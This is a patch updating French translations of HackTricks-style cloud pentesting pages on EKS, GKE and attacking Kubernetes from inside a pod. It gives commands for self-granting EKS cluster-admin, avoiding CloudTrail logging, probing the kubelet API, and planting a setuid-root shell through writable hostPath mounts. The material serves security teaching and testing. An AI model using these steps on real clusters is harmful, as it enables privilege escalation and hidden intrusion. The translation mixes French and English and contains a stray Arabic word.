From d7d2d7d27c84e470839bfd1a00df41e8be2cb5ec Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Jul 2026 09:20:18 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub --- .../aws-eks-post-exploitation/README.md | 60 +-- .../gcp-containers-gke-and-composer-enum.md | 48 +- .../attacking-kubernetes-from-inside-a-pod.md | 413 +++++++----------- .../exposing-services-in-kubernetes.md | 82 ++-- .../kubernetes-enumeration.md | 130 +++--- .../kubernetes-network-attacks.md | 80 ++-- .../kubernetes-pivoting-to-clouds.md | 185 +++++--- ...bernetes-role-based-access-control-rbac.md | 49 ++- ...bernetes-validatingwebhookconfiguration.md | 85 ++-- .../pentesting-kubernetes-services/README.md | 112 ++--- ...ubelet-authentication-and-authorization.md | 94 ++-- 11 files changed, 727 insertions(+), 611 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index e9d96081f..da6edda69 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -4,28 +4,28 @@ ## EKS -Pour plus d'informations, consultez +Pour plus d’informations, consultez {{#ref}} ../../aws-services/aws-eks-enum.md {{#endref}} -### Énumérer le cluster depuis la AWS Console +### Enumerate the cluster from the AWS Console -Si vous avez la permission **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Se connecter à AWS Kubernetes Cluster +### Connect to AWS Kubernetes Cluster -- Méthode simple: +- Easy way: ```bash # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` - Pas si facile : -Si vous pouvez **obtenir un token** avec **`aws eks get-token --name `** mais que vous n'avez pas les permissions pour obtenir les infos du cluster (describeCluster), vous pouvez **préparer votre propre `~/.kube/config`**. Cependant, en ayant le token, vous avez toujours besoin de **l'url endpoint pour vous connecter** (si vous avez réussi à obtenir un JWT token depuis un pod, lisez [ici](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**. +Si vous pouvez **obtenir un token** avec **`aws eks get-token --name `** mais que vous n’avez pas les permissions pour obtenir les infos du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, même avec le token, vous avez toujours besoin de **l’url endpoint de connexion** (si vous avez réussi à obtenir un token JWT depuis un pod, lisez [ici](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**. -Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais je l'ai **trouvée dans le userData des LaunchTemaplates** et aussi dans le **userData des machines EC2**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) : +Dans mon cas, je n’ai pas trouvé l’info dans les logs CloudWatch, mais je l’ai **trouvée dans LaunchTemaplates userData** et aussi dans les **machines EC2 dans userData**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l’exemple suivant (le nom du cluster était cluster-name) : ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -70,50 +70,50 @@ provideClusterInfo: false ``` -### From AWS to Kubernetes +### De AWS vers Kubernetes -Le **creator** du **cluster EKS** pourra **TOUJOURS** accéder à la partie kubernetes du cluster dans le groupe **`system:masters`** (k8s admin). Au moment de la rédaction, il n’existe **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n’y a **aucun moyen** de **retirer** ce **privilege**. +Historiquement, le **creator** d’un **EKS cluster** recevait un accès Kubernetes admin caché qui n’était pas visible dans `aws-auth`. Dans les EKS clusters actuels, cela dépend de la configuration d’accès du cluster. `bootstrapClusterCreatorAdminPermissions` contrôle si le creator est ajouté comme entrée d’accès cluster-admin lors de la création, et les EKS access entries rendent ce chemin admin visible et révocable via l’API EKS. Les anciens clusters ou les clusters qui dépendent encore de `aws-auth` peuvent toujours avoir le comportement legacy du creator, donc vérifiez `accessConfig`, listez les access entries, et examinez CloudTrail au lieu de supposer que le creator a toujours `system:masters` de façon irrévocable. #### Abusing configmap -La méthode traditionnelle pour accorder **access to over K8s to more AWS IAM users or roles** consiste à utiliser le **configmap** **`aws-auth`**. +La manière traditionnelle d’accorder **access to over K8s to more AWS IAM users or roles** consiste à utiliser le **configmap** **`aws-auth`**. > [!WARNING] -> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**. +> Par conséquent, toute personne ayant un **write access** sur le config map **`aws-auth`** pourra **compromise the whole cluster**. -Pour plus d’informations sur la manière de **grant extra privileges to IAM roles & users** dans le **même ou différent account** et sur la façon d’**abuse** cela pour [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). +Pour plus d’informations sur la manière d’**accorder des privilèges supplémentaires aux IAM roles & users** dans le **même compte ou un compte différent** et d’**abuse** cela pour [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). -Voir aussi[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. +Consultez aussi[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. #### Abusing Access Entries -AWS implementes an additional way to grant IAM users access to the Kubernetes cluster through access entries. If you have the `eks:CreateAccessEntry` and `eks:AssociateAccessPolicy` permissions, you may also be able to assign a Kubernetes administrator role to either your user or a specific rol. +AWS implémente une autre manière d’accorder aux IAM users l’access au Kubernetes cluster via des access entries. Si vous avez les permissions `eks:CreateAccessEntry` et `eks:AssociateAccessPolicy`, vous pouvez aussi être en mesure d’assigner un rôle d’administrateur Kubernetes à votre user ou à un rôle spécifique. -First, **create an access entry for your user or role**: +D’abord, **create an access entry for your user or role**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -Avec cette entrée créée, vous pouvez maintenant peut-être lui attribuer directement une policy. Il existe une policy AWS intégrée appelée *AmazonEKSClusterAdminPolicy* qui peut être utilisée directement. Gardez à l'esprit que si votre environnement dispose d'autres policies personnalisées qui accordent également des privilèges élevés dans EKS, vous pouvez modifier le `--policy-arn` pour l'une d'entre elles : +Avec cette entrée créée, vous pouvez désormais peut-être lui attribuer une policy directement. Il existe une policy AWS intégrée appelée *AmazonEKSClusterAdminPolicy* qui peut être utilisée directement. Gardez à l'esprit que si votre environnement possède d'autres policies personnalisées qui accordent également des privilèges élevés dans EKS, vous pouvez modifier `--policy-arn` pour l'une d'entre elles : ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` -Vous pouvez rechercher cette policy dans la documentation officielle d'aws [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) +Vous pouvez rechercher cette policy dans la documentation officielle d'AWS [**ici**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) -À partir de ce moment, vous pouvez maintenant être en mesure de demander un token *k8s* et d'interagir avec le cluster en tant qu'administrateur: +À partir de ce moment, vous pouvez désormais être en mesure de demander un token *k8s* et d'interagir avec le cluster en tant qu'administrateur : ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` -### From Kubernetes to AWS +### De Kubernetes à AWS -Il est possible d'autoriser une **authentification OpenID pour kubernetes service account** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Il est possible d'autoriser une **authentification OpenID pour kubernetes service account** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne dans cette page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### GET Api Server Endpoint from a JWT Token +### GET Api Server Endpoint à partir d'un JWT Token -En décodant le JWT token, nous obtenons l'ID du cluster et aussi la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard de l'URL EKS est +En décodant le JWT token, nous obtenons l'identifiant du cluster ainsi que la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard pour une URL EKS est ```bash https://...eks.amazonaws.com ``` -Je n'ai trouvé aucune documentation qui explique les critères pour les 'two chars' et le 'number'. Mais en faisant quelques tests de mon côté, j'ai vu revenir ceux-ci : +Je n'ai trouvé aucune documentation qui explique les critères pour les « two chars » et le « number ». Mais en faisant quelques tests de mon côté, j'en vois qui reviennent : - gr7 - yl4 @@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### Bypass CloudTrail -Si un attaquant obtient les credentials d'un AWS avec **permission over an EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, **`get-token`** ne génère pas de logs dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le token localement). +Si un attaquant obtient les identifiants d’un AWS avec **permission over an EKS**. Si l’attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, **`get-token`** ne génère pas de logs dans Cloudtrail car il n’interagit pas avec l’API AWS (il crée juste le token localement). -Donc, quand l'attaquant communique avec le cluster EKS, **cloudtrail n'enregistrera rien lié à l'utilisateur volé et à son accès**. +Donc, quand l’attaquant communique avec le cluster EKS, **cloudtrail ne consignera rien en lien avec l’utilisateur volé et son accès**. -Notez que le **cluster EKS peut avoir des logs activés** qui enregistreront cet accès (bien que, par défaut, ils soient désactivés). +Notez que le **cluster EKS peut avoir des logs activés** qui enregistreront cet accès (même si, par défaut, ils sont désactivés). ### EKS Ransom? -Par défaut, **l'utilisateur ou le rôle qui a créé** un cluster aura **TOUJOURS** des privilèges admin sur le cluster. Et ce sera le seul accès "secure" qu'AWS aura sur le cluster Kubernetes. +Par défaut, **l’utilisateur ou le rôle qui a créé** un cluster aura **TOUJOURS** des privilèges admin sur le cluster. Et ce sera le seul accès "secure" qu’AWS aura sur le cluster Kubernetes. -Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprime tous les autres admins** et **supprime l'utilisateur/rôle AWS qui a créé** le Cluster, ~~l'attaquant pourrait avoir **ransom le cluste**~~**r**. +Donc, si un **attaquant compromet un cluster using fargate** et **supprime tous les autres admins** et **supprime l’utilisateur/rôle AWS qui a créé** le cluster, ~~l’attaquant pourrait avoir **ransomé le cluste**~~**r**. > [!TIP] -> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster. +> Notez que si le cluster utilisait des **EC2 VMs**, il pourrait être possible d’obtenir des privilèges Admin depuis le **Node** et de récupérer le cluster. > -> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node. +> En réalité, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 dans le cluster et le récupérer en accédant aux tokens sur le node. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index 02c588539..05a8e8e1d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -Dans les containers GCP, vous pouvez trouver la plupart des services basés sur des containers que GCP propose, ici vous pouvez voir comment énumérer les plus courants : +Dans les containers GCP, vous pouvez trouver la plupart des services basés sur des containers que GCP propose ; ici, vous pouvez voir comment énumérer les plus courants : ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -Dans la page suivante, vous pouvez voir comment **abuser des permissions du container pour élever les privilèges** : +Dans la page suivante, vous pouvez voir comment **abuse container permissions to escalate privileges** : {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ Dans la page suivante, vous pouvez voir comment **abuser des permissions du cont ## Node Pools -Ce sont les pools de machines (nodes) qui forment les clusters kubernetes. +Ce sont les pools de machines (nodes) qui forment les kubernetes clusters. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -50,7 +50,7 @@ Tout d'abord, vous pouvez vérifier si des clusters Kubernetes existent dans vot ``` gcloud container clusters list ``` -Si vous avez bien un cluster, vous pouvez faire en sorte que `gcloud` configure automatiquement votre fichier `~/.kube/config`. Ce fichier est utilisé pour vous authentifier lorsque vous utilisez [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), la CLI native pour interagir avec des clusters K8s. Essayez cette commande. +Si vous avez un cluster, vous pouvez faire en sorte que `gcloud` configure automatiquement votre fichier `~/.kube/config`. Ce fichier est utilisé pour vous authentifier lorsque vous utilisez [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), l'outil CLI natif pour interagir avec des clusters K8s. Essayez cette commande. ``` gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION] ``` @@ -60,15 +60,15 @@ Une fois cela configuré, vous pouvez essayer la commande suivante pour obtenir ``` kubectl cluster-info ``` -Vous pouvez en savoir plus sur `gcloud` pour containers [ici](https://cloud.google.com/sdk/gcloud/reference/container/). +Vous pouvez en savoir plus sur `gcloud` pour les containers [ici](https://cloud.google.com/sdk/gcloud/reference/container/). -Voici un script simple pour énumérer kubernetes dans GCP : [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum) +Voici un script simple pour enum kubernetes dans GCP : [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum) -### Vérifications actuelles d'identité et de métadonnées GKE +### Current GKE identity and metadata checks -Lors de l'analyse des clusters GKE modernes, distinguez les permissions Google Cloud IAM, Kubernetes RBAC, l'identité de workload des pods et les credentials des nodes. Un principal Google peut souvent récupérer les données de l'endpoint du cluster avec `container.clusters.get`, mais les requêtes Kubernetes résultantes doivent toujours passer l'autorisation GKE/Kubernetes et toute restriction réseau comme les private endpoints ou les authorized networks. +Lors de l’examen de clusters GKE modernes, séparez les permissions Google Cloud IAM, Kubernetes RBAC, l’identité de workload des pods et les credentials des nodes. Un principal Google peut souvent récupérer les données du cluster endpoint avec `container.clusters.get`, mais les requêtes Kubernetes résultantes doivent toujours passer l’autorisation GKE/Kubernetes ainsi que toute restriction réseau comme les private endpoints ou les authorized networks. -Workload Identity Federation for GKE est la méthode recommandée pour permettre aux pods d'accéder aux API Google Cloud. Vérifiez si le cluster a un workload pool et si les Kubernetes service accounts sont mappés directement comme IAM principals ou sont autorisés à usurper des IAM service accounts : +Workload Identity Federation for GKE est la méthode recommandée pour permettre aux pods d’accéder aux Google Cloud APIs. Vérifiez si le cluster dispose d’un workload pool et si les Kubernetes service accounts sont mappés directement en tant que IAM principals ou s’ils sont autorisés à impersonate des IAM service accounts : ```bash gcloud container clusters describe --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,15 +76,29 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -If a service account has the annotation `iam.gke.io/gcp-service-account`, review the IAM service account policy for `roles/iam.workloadIdentityUser` grants to Kubernetes service account principals. Also check IAM allow policies for direct workload identity principals or broad principal sets. +Si un service account a l’annotation `iam.gke.io/gcp-service-account`, examinez la policy du service account IAM pour les attributions `roles/iam.workloadIdentityUser` vers des principaux Kubernetes service account. Vérifiez aussi les IAM allow policies pour des principaux Workload Identity directs ou des attributions larges `principalSet://`, comme un accès au niveau namespace ou cluster pour workload. L’annotation `iam.gke.io/credential-quota-project` ne fait que déplacer le quota de l’API IAM Service Account Credentials vers un autre project ; le principal workload doit toujours avoir `serviceusage.services.use` sur ce quota project et un accès IAM séparé à la ressource cible. -L’accès aux metadata dépend du mode du cluster, de la configuration du node pool et des paramètres du workload. Ne présumez pas que chaque pod peut voler le node service account. Dans les environnements activés avec Workload Identity, les pods ordinaires doivent utiliser le GKE metadata server pour obtenir l’identité de workload destinée à leur Kubernetes service account. Une compromission du node, des pods `hostNetwork` dans certaines configurations Standard, et l’exposition héritée des metadata du node peuvent encore modifier le rayon d’impact, donc vérifiez le mode réel des metadata du node pool, le node service account, les OAuth scopes et le placement des pods. +L’accès aux metadata dépend du mode du cluster, de la configuration du node pool et des paramètres du workload. N’assumez pas que chaque pod peut voler le node service account. Dans les environnements activés pour Workload Identity, les pods ordinaires doivent utiliser le GKE metadata server pour obtenir l’identité workload prévue pour leur Kubernetes service account. La compromission du node, les pods `hostNetwork` dans certaines configurations Standard, et l’exposition héritée des metadata du node peuvent encore modifier le blast radius, donc vérifiez le mode réel des metadata du node pool, le node service account, les OAuth scopes, et le placement des pods. + +Si un pod activé pour Workload Identity ne peut pas obtenir un token, vérifiez aussi NetworkPolicy egress avant de supposer que le binding IAM est incorrect. Les clusters GKE Standard qui utilisent NetworkPolicy doivent autoriser le chemin metadata-server requis par la version du cluster et le dataplane, et Dataplane V2 utilise le chemin `169.254.169.254` pour l’accès au metadata-server. + +### Autopilot privileged workload allowlists + +GKE Autopilot bloque par défaut la plupart des privileged workloads, mais des exceptions approuvées peuvent exister. Examinez les paramètres d’admission privileged, les objets `AllowlistSynchronizer`, et les objets `WorkloadAllowlist` installés avant de supposer qu’un pod privilégié est impossible : +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Les chemins allowlist peuvent être détenus par GKE (`gke://...`) ou par le client via des chemins Cloud Storage (`gs://...`). Les wildcards et les chemins de bucket trop larges augmentent le blast radius, car de futurs fichiers allowlist sous ce chemin pourraient devenir valides pour le cluster. Lorsqu’un `WorkloadAllowlist` est installé, compare ses exemptions et ses critères de correspondance au pod spec, en particulier les image digests, les host namespaces, les montages hostPath en écriture, les host ports, les Linux capabilities, et si `autopilot.gke.io/no-connect` empêche l’accès `exec` au workload privilégié. ### TLS Boostrap Privilege Escalation -Au départ, cette technique de privilege escalation permettait de **privesc à l’intérieur du cluster GKE**, permettant effectivement à un attaquant de **le compromettre entièrement**. +À l’origine, cette technique de privilege escalation permettait de **privesc inside the GKE cluster**, ce qui permettait à un attaquant de **le compromettre بالكامل**. -C’est parce que GKE fournit des [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) dans les metadata, qui sont **accessibles à n’importe qui en compromettant simplement un pod**. +C’est parce que GKE fournit des [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) dans le metadata, qui est **accessible à n’importe qui en compromettant simplement un pod**. La technique utilisée est expliquée dans les posts suivants : @@ -94,15 +108,15 @@ La technique utilisée est expliquée dans les posts suivants : Et cet outil a été créé pour automatiser le processus : [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Cependant, la technique exploitait le fait qu’**avec les metadata credentials**, il était possible de **générer un CSR** (Certificate Signing Request) pour un **nouveau node**, qui était **automatically approved**.\ -Lors de mon test, j’ai vérifié que **ces requests ne sont plus automatiquement approved**, donc je ne suis pas sûr que cette technique soit encore valide. +Cependant, la technique abusait du fait qu’**avec les metadata credentials** il était possible de **générer un CSR** (Certificate Signing Request) pour un **nouveau node**, qui était **automatically approved**.\ +Dans mon test, j’ai vérifié que **those requests aren't automatically approved anymore**, donc je ne suis pas sûr que cette technique soit encore valide. ### Secrets in Kubelet API -Dans [**ce post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/), il a été découvert il a été découvert une adresse Kubelet API accessible depuis l’intérieur d’un pod dans GKE donnant les détails des pods en cours d’exécution : +Dans [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/), il a été découvert qu’un address Kubelet API était accesible depuis l’intérieur d’un pod dans GKE, donnant les détails des pods en cours d’exécution : ``` curl -v -k http://10.124.200.1:10255/pods ``` -Même si l'API **ne permet pas de modifier les ressources**, il pourrait être possible de trouver des **informations sensibles** dans la réponse. Le point de terminaison /pods a été trouvé à l'aide de [**Kiterunner**](https://github.com/assetnote/kiterunner). +Même si l'API **ne permet pas de modifier des ressources**, il pourrait être possible de trouver des **informations sensibles** dans la réponse. Le endpoint /pods a été trouvé en utilisant [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index c67c6ab4f..599aa6999 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -4,19 +4,19 @@ ## **Pod Breakout** -**Si vous avez de la chance, vous pourrez peut-être vous échapper vers le node:** +**Si vous avez de la chance, vous pourrez peut-être en sortir vers le node:** ![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) ### Escaping from the pod -Pour tenter de vous échapper des pods, vous devrez peut-être d’abord **escalate privileges**, quelques techniques pour y parvenir: +Afin d’essayer d’escape des pods, vous devrez peut-être d’abord **escalate privileges**, voici quelques techniques pour le faire: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -Vous pouvez vérifier ces **docker breakouts to try to escape** d’un pod que vous avez compromis: +Vous pouvez consulter ces **docker breakouts to try to escape** d’un pod que vous avez compromis: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html @@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu ### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) -Si un pod/container compromis dispose d’un volume inscriptible qui mappe directement vers le système de fichiers de l’hôte (Kubernetes hostPath ou Docker bind mount), et que vous pouvez devenir root dans le container, vous pouvez exploiter le mount pour créer un binaire setuid-root sur l’hôte puis l’exécuter depuis l’hôte pour obtenir root. +Si un pod/container compromis dispose d’un volume en écriture mappé directement sur le filesystem de l’hôte (Kubernetes hostPath ou Docker bind mount), et que vous pouvez devenir root à l’intérieur du container, vous pouvez exploiter le mount pour créer un binaire setuid-root sur l’hôte puis l’exécuter depuis l’hôte pour pop root. Conditions clés: -- Le volume monté est inscriptible depuis le container (readOnly: false et les permissions du système de fichiers autorisent l’écriture). -- Le système de fichiers de l’hôte derrière le mount n’est pas monté avec l’option nosuid. -- Vous avez un moyen d’exécuter le binaire planté sur l’hôte (par exemple, un SSH/RCE séparé sur l’hôte, un utilisateur sur l’hôte peut l’exécuter, ou un autre vecteur qui exécute des binaires depuis ce chemin). +- Le volume monté est inscriptible depuis l’intérieur du container (readOnly: false et les permissions du filesystem autorisent l’écriture). +- Le filesystem de l’hôte qui supporte le mount n’est pas monté avec l’option nosuid. +- Vous avez un moyen d’exécuter le binaire planté sur l’hôte (par exemple, un autre accès SSH/RCE sur l’hôte, un user sur l’hôte peut l’exécuter, ou un autre vecteur qui exécute des binaires depuis ce chemin). Comment identifier les hostPath/bind mounts inscriptibles: - Avec kubectl, vérifiez les volumes hostPath: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' -- Depuis l’intérieur du container, listez les mounts et cherchez les host-path mounts, puis testez l’inscriptibilité: +- Depuis l’intérieur du container, listez les mounts et cherchez les host-path mounts, puis testez la capacité d’écriture: ```bash # Inside the compromised container mount | column -t @@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path # Quick practical test printf "ping\n" > "$TEST_DIR/.w" ``` -Plantez un binaire setuid root depuis le container : +Planter un binaire setuid root depuis le container: ```bash # As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory @@ -54,17 +54,17 @@ chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` -Exécutez sur l'hôte pour obtenir root: +Exécuter sur l'hôte pour obtenir root : ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash ls -l /opt/limesurvey/suidbash /opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash ``` -Notes et troubleshooting : -- Si le host mount a `nosuid`, les bits `setuid` seront ignorés. Vérifiez les options de mount sur le host (`cat /proc/mounts | grep `) et cherchez `nosuid`. -- Si vous ne pouvez pas obtenir un host execution path, des writable mounts similaires peuvent être abusés pour écrire d’autres persistence/priv-esc artifacts sur le host si le répertoire mappé est critique pour la sécurité (par ex., ajouter une root SSH key si le mount mappe vers `/root/.ssh`, déposer un cron/systemd unit si cela mappe vers `/etc`, remplacer un binaire détenu par root dans le PATH que le host exécutera, etc.). La faisabilité dépend entièrement du chemin monté. -- Cette technique fonctionne aussi avec de simples Docker bind mounts ; dans Kubernetes, il s’agit généralement d’un hostPath volume (`readOnly: false`) ou d’un `subPath` mal scoped. +Notes et troubleshooting: +- Si le host mount a nosuid, les bits setuid seront ignorés. Vérifiez les options de montage sur le host (cat /proc/mounts | grep ) et cherchez nosuid. +- Si vous ne pouvez pas obtenir un host execution path, des writable mounts similaires peuvent être exploités pour écrire d’autres persistence/priv-esc artifacts sur le host si le répertoire mappé est critique pour la sécurité (par ex., ajouter une root SSH key si le mount mappe vers /root/.ssh, déposer un cron/systemd unit s’il mappe vers /etc, remplacer un binaire appartenant à root dans le PATH que le host exécutera, etc.). La faisabilité dépend entièrement du path monté. +- Cette technique fonctionne aussi avec de simples Docker bind mounts ; dans Kubernetes, il s’agit généralement d’un hostPath volume (readOnly: false) ou d’un subPath mal délimité. ### Abusing Kubernetes Privileges @@ -74,7 +74,7 @@ Comme expliqué dans la section sur **kubernetes enumeration** : kubernetes-enumeration.md {{#endref}} -En général, les pods sont exécutés avec un **service account token** à l’intérieur. Ce service account peut avoir certaines **privileges** qui lui sont attachées et que vous pourriez **abuse** pour **move** vers d’autres pods ou même **escape** vers les nodes configurés dans le cluster. Voyez comment dans : +En général, les pods sont exécutés avec un **service account token** à l’intérieur. Ce service account peut avoir certains **privileges attachés** que vous pourriez **abuse** pour **move** vers d’autres pods ou même pour **escape** vers les nodes configurés dans le cluster. Voyez comment dans : {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/ ### Abusing Cloud Privileges -Si le pod s’exécute dans un **cloud environment**, vous pourriez être en mesure de **leak a token from the metadata endpoint** et d’escalader les privileges en l’utilisant. +Si le pod est exécuté dans un **cloud environment**, il est possible de l**eak a token from the metadata endpoint** et d’escalader les privileges en l’utilisant. ## Search vulnerable network services -Comme vous êtes à l’intérieur de l’environnement Kubernetes, si vous ne pouvez pas escalader les privileges en abusant des privileges du pod actuel et si vous ne pouvez pas vous échapper du container, vous devriez **search potential vulnerable services.** +Comme vous êtes à l’intérieur de l’environnement Kubernetes, si vous ne pouvez pas escalader les privileges en abusant des privileges du pod actuel et que vous ne pouvez pas vous échapper du container, vous devez **chercher des services potentiellement vulnérables.** ### Services -**À cette fin, vous pouvez essayer d’obtenir tous les services de l’environnement kubernetes :** +**À cette fin, vous pouvez essayer d’obtenir tous les services de l’environnement kubernetes:** ``` kubectl get svc --all-namespaces ``` -Par défaut, Kubernetes utilise un schéma de réseau plat, ce qui signifie que **n'importe quel pod/service dans le cluster peut communiquer avec les autres**. Les **namespaces** au sein du cluster **n'ont aucune restriction de sécurité réseau par défaut**. N'importe qui dans le namespace peut communiquer avec les autres namespaces. +Par défaut, Kubernetes utilise un schéma de réseau plat, ce qui signifie que **tout pod/service dans le cluster peut communiquer avec les autres**. Les **namespaces** au sein du cluster **n'ont aucune restriction de sécurité réseau par défaut**. Toute personne dans le namespace peut communiquer avec les autres namespaces. ### Scanning -Le script Bash suivant (tiré d'un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installera et scannera les plages d'adresses IP du cluster kubernetes : +Le script Bash suivant (tiré d'un [Kubernetes 